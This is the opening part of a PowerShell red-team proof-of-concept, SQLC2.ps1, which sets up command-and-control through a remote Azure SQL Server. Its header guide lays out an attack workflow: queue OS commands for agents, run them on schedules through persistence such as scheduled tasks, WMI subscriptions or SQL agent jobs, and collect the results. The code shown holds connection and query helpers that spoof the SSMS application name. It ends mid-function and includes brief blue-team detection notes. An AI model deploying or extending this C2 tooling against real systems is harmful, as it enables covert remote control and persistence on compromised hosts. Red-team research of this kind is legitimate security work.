scripts/pending/SQLC2.ps1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
<#
    Script: SQLC2.ps1
    Description: This is a basic PoC script that contains functions that can be
             used to install and manage a C2 via a SQL Server instance.
             The C2 SQL Server is intended to be hosted remotely or in Azure
             via a database.windows.net address. The client functions can be
             run by a schedule task or other means for periodic check in
             and command grabbing from the C2 SQL Server.
    Author: Scott Sutherland (@_nullbind), NetSPI 2018
    License: BSD 3-Clause
    Mini Guide:
 
        ----------------------------
        Azure Configuration Overview
        ----------------------------
 
        1. Create an Azure account and log in.
 
        3. Create a SQL server databse. In this example the server will be named sqlcloudc2 and the datatabase will be named database1.
 
        4. Add a virtual firewall exception for the target networks that you will be receiving connections from.
 
        ----------------------------
        Attack Workflow Overview
        ----------------------------
        1. Install SQLC2.
 
        Install C2 tables in remote SQL Server instance. You will need to provide an database that you have the ability to create tables in, or create a new at database. However, in Azure I've been getting some timeouts which is why you should have already created the target database through Azure.
 
        Example command:
        Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose
 
        2. Setup OS command.
 
        Set a OS command to run on all agent systems. You can also configure commands to run on a specific agent using the -ServerName paremeter.
 
        Example command:
        Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Command "Whoami"
 
        3. List queued commands.
 
        The command below will query the SQLC2 server for a list of commands queued for the agent to execute. This will only output the commands, it will not execute them.
 
        Example command:
        Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose
 
        4. The agent will automatically be registered. To list the registered agent use the command below.
 
         Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose
 
        5. Execute queued commands via PS. This can be scheduled via a WMI subscription or schedule task.
 
        The command below will query the SQLC2 server for a list of commands queued for the agent to execute. Including the -Execute flag will automatically run them. This command could be used in combination with your prefered persistence method such as a scheduled task.
 
        Example command:
        Get-SQLC2Command -Verbose -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Execute
         
        5a. Execute queued commands via SQL Server link and agent job. This allows you to use an internal SQL Server as your agent. This requires sysadmin privileges on the internal SQL Server.
         
        Install-SQLC2AgentLink -Instance 'InternalSQLServer1\SQLSERVER2014' -C2Username 'CloudAdmin' -C2Password 'CloudPassword!' -C2Instance sqlcloudc2.database.windows.net -C2Database database1 -Verbose
         
        Note: You can use the command below to remove the server link agent.
         
        Uninstall-SQLC2AgentLink -Verbose -Instance 'InternalSQLServer1\SQLSERVER2014'
 
        5b. Execute queued commands via a schedule task or other persistence method. This allows you to the local OS as an agent. This requires local administrative privileges.
         
        Install-SQLC2AgentPs -Verbose -Instance 'InternalSQLServer1\SQLSERVER2014' -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1
         
        Note: You can use the command below to remove the installed agent.
         
        Uninstall-SQLC2AgentPs -Verbose
 
        6. View command results.
 
        The command below can be used to retrieve the command results. By default it shows the entire command history. However, results can be filtered by -Status, -ServerName, and -Cid.
 
        Example command:
        Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Status 'success'
 
        ----------------------------
        Blue Team Datasource Notes
        ----------------------------
        1. PowerShell logging.
        2. EDR showing PowerShell connecting to the internet. Specifically, *.database.windows.net (Azure)
        3. EDR showing specific commands being executed such as "Get-SQLC2Comand".
#>



# ----------------------------------
# Get-SQLC2ConnectionObject
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLC2ConnectionObject
{
    <#
            .SYNOPSIS
            Creates a object for connecting to SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER AppName
            Spoof the name of the application you are connecting to SQL Server with.
            .PARAMETER Encrypt
            Use an encrypted connection.
            .PARAMETER TrustServerCert
            Trust the certificate of the remote server.
            .EXAMPLE
            PS C:\> Get-SQLC2ConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp"
            StatisticsEnabled : False
            AccessToken :
            ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application
                                               Name="myapp";Encrypt=Yes;TrustServerCertificate=Yes
            ConnectionTimeout : 1
            Database : Master
            DataSource : server1
            PacketSize : 8000
            ClientConnectionId : 00000000-0000-0000-0000-000000000000
            ServerVersion :
            State : Closed
            WorkstationId : Workstation1
            Credential :
            FireInfoMessageEventOnUserErrors : False
            Site :
            Container :
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Dedicated Administrator Connection (DAC).')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Spoof the name of the application your connecting to the server with.')]
        [string]$AppName = "",

        [Parameter(Mandatory = $false,
        HelpMessage = 'Use an encrypted connection.')]
        [ValidateSet("Yes","No","")]
        [string]$Encrypt = "",

        [Parameter(Mandatory = $false,
        HelpMessage = 'Trust the certificate of the remote server.')]
        [ValidateSet("Yes","No","")]
        [string]$TrustServerCert = "",

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut = 1
    )

    Begin
    {
        # Setup DAC string
        if($DAC)
        {
            $DacConn = 'ADMIN:'
        }
        else
        {
            $DacConn = ''
        }

        # Set database filter
        if(-not $Database)
        {
            $Database = 'Master'
        }

        # Check if appname was provided
        if($AppName){
            $AppNameString = ";Application Name=`"$AppName`""
        }else{
            $AppNameString = ""
        }

        # Check if encrypt was provided
        if($Encrypt){
            $EncryptString = ";Encrypt=Yes"
        }else{
            $EncryptString = ""
        }

        # Check TrustServerCert was provided
        if($TrustServerCert){
            $TrustCertString = ";TrustServerCertificate=Yes"
        }else{
            $TrustCertString = ""
        }
    }

    Process
    {
        # Check for instance
        if ( -not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Create connection object
        $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection

        # Set authentcation type - current windows user
        if(-not $Username){

            # Set authentication type
            $AuthenticationType = "Current Windows Credentials"

            # Set connection string
            $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString $EncryptString $TrustCertString"
        }
        
        # Set authentcation type - provided windows user
        if ($username -like "*\*"){
            $AuthenticationType = "Provided Windows Credentials"

            # Setup connection string
            $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString"
        }

        # Set authentcation type - provided sql login
        if (($username) -and ($username -notlike "*\*")){

            # Set authentication type
            $AuthenticationType = "Provided SQL Login"

            # Setup connection string
            $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString$EncryptString$TrustCertString"
        }

        # Return the connection object
        return $Connection
    }

    End
    {
    }
}


# ----------------------------------
# Get-SQLC2Query
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLC2Query
{
    <#
            .SYNOPSIS
            Executes a query on target SQL servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors. Used when function is wrapped.
            .PARAMETER Threads
            Number of concurrent threads.
            .PARAMETER Query
            Query to be executed on the SQL Server.
            .PARAMETER AppName
            Spoof the name of the application you are connecting to SQL Server with.
            .PARAMETER Encrypt
            Use an encrypted connection.
            .PARAMETER TrustServerCert
            Trust the certificate of the remote server.
            .EXAMPLE
            PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLC2Query -Verbose -Query "Select @@version" -Threads 15
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server query.')]
        [string]$Query,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [int]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Spoof the name of the application your connecting to the server with.')]
        [string]$AppName = "Microsoft SQL Server Management Studio - Query",

        [Parameter(Mandatory = $false,
        HelpMessage = 'Use an encrypted connection.')]
        [ValidateSet("Yes","No","")]
        [string]$Encrypt = "Yes",

        [Parameter(Mandatory = $false,
        HelpMessage = 'Trust the certificate of the remote server.')]
        [ValidateSet("Yes","No","")]
        [string]$TrustServerCert = "Yes",

        [Parameter(Mandatory = $false,
        HelpMessage = 'Return error message if exists.')]
        [switch]$ReturnError
    )

    Begin
    {
        # Setup up data tables for output
        $TblQueryResults = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        # Setup DAC string
        if($DAC)
        {
            # Create connection object
            $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert
        }
        else
        {
            # Create connection object
            $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert
        }

        # Parse SQL Server instance name
        $ConnectionString = $Connection.Connectionstring
        $Instance = $ConnectionString.split(';')[0].split('=')[1]

        # Check for query
        if($Query)
        {
            # Attempt connection
            try
            {
                # Open connection
                $Connection.Open()

                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }

                # Setup SQL query
                $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)

                # Grab results
                $Results = $Command.ExecuteReader()

                # Load results into data table
                $TblQueryResults.Load($Results)

                # Close connection
                $Connection.Close()

                # Dispose connection
                $Connection.Dispose()
            }
            catch
            {
                # Connection failed - for detail error use Get-SQLC2ConnectionTest
                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Failed."
                }

                if($ReturnError)
                {
                    $ErrorMessage = $_.Exception.Message
                    #Write-Verbose " Error: $ErrorMessage"
                }
            }
        }
        else
        {
            Write-Output -InputObject 'No query provided to Get-SQLC2Query function.'
            Break
        }
    }

    End
    {
        # Return Results
        if($ReturnError)
        {
            $ErrorMessage
        }
        else
        {
            $TblQueryResults
        }
    }
}


# ----------------------------------
# Get-SQLC2ConnectionTest
# ----------------------------------
Function Get-SQLC2ConnectionTest
{
    <#
            .SYNOPSIS
            Tests if the current Windows account or provided SQL Server login can log into an SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER Database
            Default database to connect to.
            .PARAMETER TimeOut
            Connection time out.
            .PARAMETER SuppressVerbose
            Suppress verbose errors. Used when function is wrapped.
            .EXAMPLE
            PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress"
            .EXAMPLE
            PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433"
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLC2ConnectionTest -Verbose
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connect using Dedicated Admin Connection.')]
        [Switch]$DAC,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Default database to connect to.')]
        [String]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Connection timeout.')]
        [string]$TimeOut,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
